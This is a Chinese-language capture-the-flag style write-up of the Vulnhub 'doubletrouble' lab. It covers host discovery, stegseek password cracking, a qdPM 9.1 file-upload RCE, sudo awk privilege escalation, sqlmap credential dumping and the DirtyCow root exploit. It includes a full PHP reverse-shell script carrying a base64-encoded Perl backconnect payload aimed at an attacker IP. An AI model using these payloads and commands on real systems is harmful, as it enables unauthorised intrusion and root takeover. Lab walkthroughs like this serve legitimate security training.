Vulnhub實戰-doubletrouble靶機?

胖三斤1發表於2021-10-11

Vulnhub實戰-doubletrouble靶機

靶機下載地址:https://www.vulnhub.com/entry/doubletrouble-1,743/
下載頁面的ova格式檔案匯入vmware,或者vitrualbox開啟即可

靶機1滲透測試

1.靶機描述

描述
回到頂部
獲得標誌
難度:容易
關於 vm:從 virtualbox 測試並匯出。dhcp 和巢狀 vtx/amdv 啟用。您可以通過電子郵件與我聯絡以進行故障排除或問題。
這對 VirtualBox 比 VMware 更有效
這裡有個小tips:因為這個ova格式檔案是從vitrualbox虛擬機器裡面匯出來的,所以你如果在vmware裡面開啟就接收不到
ip地址,因為vitrualbox的網路卡名字是eth什麼的,後面接數字一般。然後vmware的網路卡名字一般是ens開頭,所以你在
vitrualbox匯出的虛擬機器在vmware開啟就不會自動獲取IP,你需要把網路卡改成一致然後重啟才能獲取IP。如果不會改網
卡,請參考下面連結:
https://blog.csdn.net/PeterWuu/article/details/105640638
這個教程第二步好像是:rw single init=/bin/bash
應該不是i,教程上面寫的是i,可能作者手誤吧!?

2.進行主機發現,埠掃描

首先我們把虛擬機器匯入vmware或者vitrualbox,這裡我是匯入的vmware,然後開啟它就好了

  1. 進行主機探測

nmap -sn 192.168.33.0/24

image

我這裡區域網的虛擬機器比較多,如果你的區域網虛擬機器也比較多分辨不出來的話,你可以通過mac地址去匹配對應的ip地址,mac地址在虛擬機器設定裡面可以看到

  1. 進行埠掃描

nmap -sS -p- -v -O 192.168.33.163

image

我們可以看到開啟了22和80埠,證明開啟了SSH和web服務,這裡前面文章有提到,你可以嘗試試試暴力破解SSH的使用者名稱密碼,用kali自帶的hydra工具,經過我上一次嘗試,發現機率微乎其微,除非用的是admin:123456這樣的弱口令。

3.web服務檢測

我們訪問ip地址192.168.33.163得到如下頁面

image

我們還是首先用dirsearch目錄掃描一下

python3 dirsearch.py -u 'http://192.168.33.163' -i 200

image

我們可以看到果然掃出了一下常見目錄,挨個目錄檢視,都沒有發現什麼東西,最後發現/secret/目錄下面有一張圖片,百度發現可以用stegseek工具來暴力破解這張圖片。
下載參考連結:https://www.freebuf.com/sectool/261633.html
然後我們通過kali自帶的字典rockyou.txt,這個字典在kali的/usr/share/wordlist目錄下面,是一個壓縮包,需要先進行解壓

stegseek /root/doubletrouble.jpg /usr/share/wordlists/rockyou.txt -xf output

image

我們破解完這張圖片之後生成一個output檔案,發現裡面有一個使用者名稱跟密碼,不用猜肯定是剛剛那個登入頁面的使用者名稱密碼,我們來試一試吧!?
登陸進去之後發現一個檔案上傳,在個人設定裡面

image

qdPM漏洞利用

在一開始的登陸頁面我們可以看到有個qdPM 9.1,搜尋qdPM 9.1的漏洞,我們找到一個遠端程式碼執行漏洞。https://www.exploit-db.com/exploits/50175, 把指令碼下載下來。這個指令碼的回車有點問題,需要自己調一下。不過,這個漏洞也挺簡單的,其實就是使用者的myAccount介面的圖片那一欄是可以上傳檔案的,那我們就可以上傳一個php反彈shell的指令碼。
這裡我不知道啥情況,反正這個指令碼我搞不明白,python指令碼怎麼上傳php反彈shell呢,如果有大佬知道還望告知,這裡我找到一個php的反彈shell的指令碼,大家改一下ip,埠就可以直接上傳用了。

<?php 
function which($pr) { 
$path = execute("which $pr"); 
return ($path ? $path : $pr); 
} 
function execute($cfe) { 
$res = ''; 
if ($cfe) { 
if(function_exists('exec')) { 
@exec($cfe,$res); 
$res = join("\n",$res); 
} elseif(function_exists('shell_exec')) { 
$res = @shell_exec($cfe); 
} elseif(function_exists('system')) { 
@ob_start(); 
@system($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(function_exists('passthru')) { 
@ob_start(); 
@passthru($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(@is_resource($f = @popen($cfe,"r"))) { 
$res = ''; 
while(!@feof($f)) { 
$res .= @fread($f,1024); 
} 
@pclose($f); 
} 
} 
return $res; 
} 
function cf($fname,$text){ 
if($fp=@fopen($fname,'w')) { 
@fputs($fp,@base64_decode($text)); 
@fclose($fp); 
} 
} 
$yourip = "192.168.33.217"; 
$yourport = '10086'; 
$usedb = array('perl'=>'perl','c'=>'c'); 
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
cf('/tmp/.bc',$back_connect); 
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); 
?> 

這裡比較搞笑的是,無論是跑指令碼還是自己手動上傳,網頁和程式碼的反饋都會讓你覺得自己是不是沒有上傳成功。會報錯,但是其實已經上傳成功了。
上傳之後指令碼在剛剛開始我們目錄掃描的那個/uploads/users目錄下

image

然後kali監聽10086埠,這個埠是你指令碼自己設定的埠。

nc -lnvp 10086

image

提權

接下來我們看一下當前使用者能夠使用的sudo許可權,這裡顯示當前使用者可以免密執行awk命令

image

搜尋一下awk提權,我們可以這樣:

sudo awk 'BEGIN {system("/bin/bash")}'

image

我們可以看到此時我們已經是root使用者了,看看root資料夾,發現了一個ova檔案,百度看了大佬部落格才知道這又是一個虛擬機器,好傢伙!?不愧是doubletrouble啊,果然跟題目還有點呼應,我們下載下來這個虛擬機器檔案在vmware中開啟。

我們在靶機中開啟http服務功能,然後kali通過wget下載下來,下載下來之後在vmware中開啟靶機。然後還是之前的步驟,掃描主機ip,埠,服務。

python3 -m http.server 9000

wget http://192.168.33.163:9000/doubletrouble.ova

如下是python -m的用法:

image

靶機2滲透測試

1.進行主機探測

nmap -sn 192.168.33.0/24

image

2.埠,服務發現

nmap -sS -p- -v -O 192.168.33.252

image

3.web服務測試

首先我們通過埠掃描發現開啟了80埠,說明存在http服務,我們訪問ip地址,看到如下一個登入框頁面:

image

這裡讓我們輸入使用者名稱密碼,然而我們並不知道賬戶名也不知道密碼。嘗試掃描網站目錄發現沒有額外的資訊,就只有這麼一個網站。

sqlmap注入獲取使用者名稱密碼

我們還想到有一個神器sqlmap,通過sqlmap看看這個登入框存不存在注入,抓包儲存檔案1.txt,在kali裡面開啟sqlmap掃描,命令如下:

sqlmap -r /root/1.txt --current-db      //爆出資料庫名doubletrouble
sqlmap -r /root/1.txt -D doubletrouble --tables    //爆表
sqlmap -r /root/1.txt -D doubletrouble -T users --columns   //爆欄位
sqlmap -r /root/1.txt -D doubletrouble -T users --dump    //爆內容

image

image

image

image

我們看到這裡有兩對密碼,第一對似乎沒啥用,第二對能夠連上ssh

ssh clapton@192.168.33.252

image

提權

我們看了一下,這個使用者只是普通使用者,目錄下面有一個user.txt,裡面是一串字元,我們接下來就是想辦法拿到root許可權,看看root資料夾有什麼東東。我們先看看系統版本

uname -a

image

這裡有個髒牛漏洞,漏洞編號CVE-2016-5195漏洞型別核心競態條件漏洞漏洞危害本地提權影響範圍Linux kernel>2.6.22。該漏洞是Linux核心的記憶體子系統在處理寫時拷貝(Copy-on-Write)時存在條件競爭漏洞,導致可以破壞私有隻讀記憶體對映。黑客可以獲取低許可權的本地使用者後,利用此漏洞獲取其他只讀記憶體對映的寫許可權,進一步獲取root許可權。他有很多個poc,其中這個poc可以生成一個賬號名為firefart的root使用者,https://github.com/FireFart/dirtycow
我們把poc下載到靶機的/tmp目錄下,然後編譯,執行。

這裡因為靶機沒有git,wget,yum這些命令,所以我們可以把程式碼複製下來,在靶機通過touch dirty.c建立一個c檔案,然後貼上進去,編譯執行就行了。

gcc -pthread dirty.c -o dirty -lcrypt
./dirty
su firefart
//中間會讓我們輸入一個密碼,這個密碼就是firefart的密碼,然後我們登入就可以了

image


image

相關文章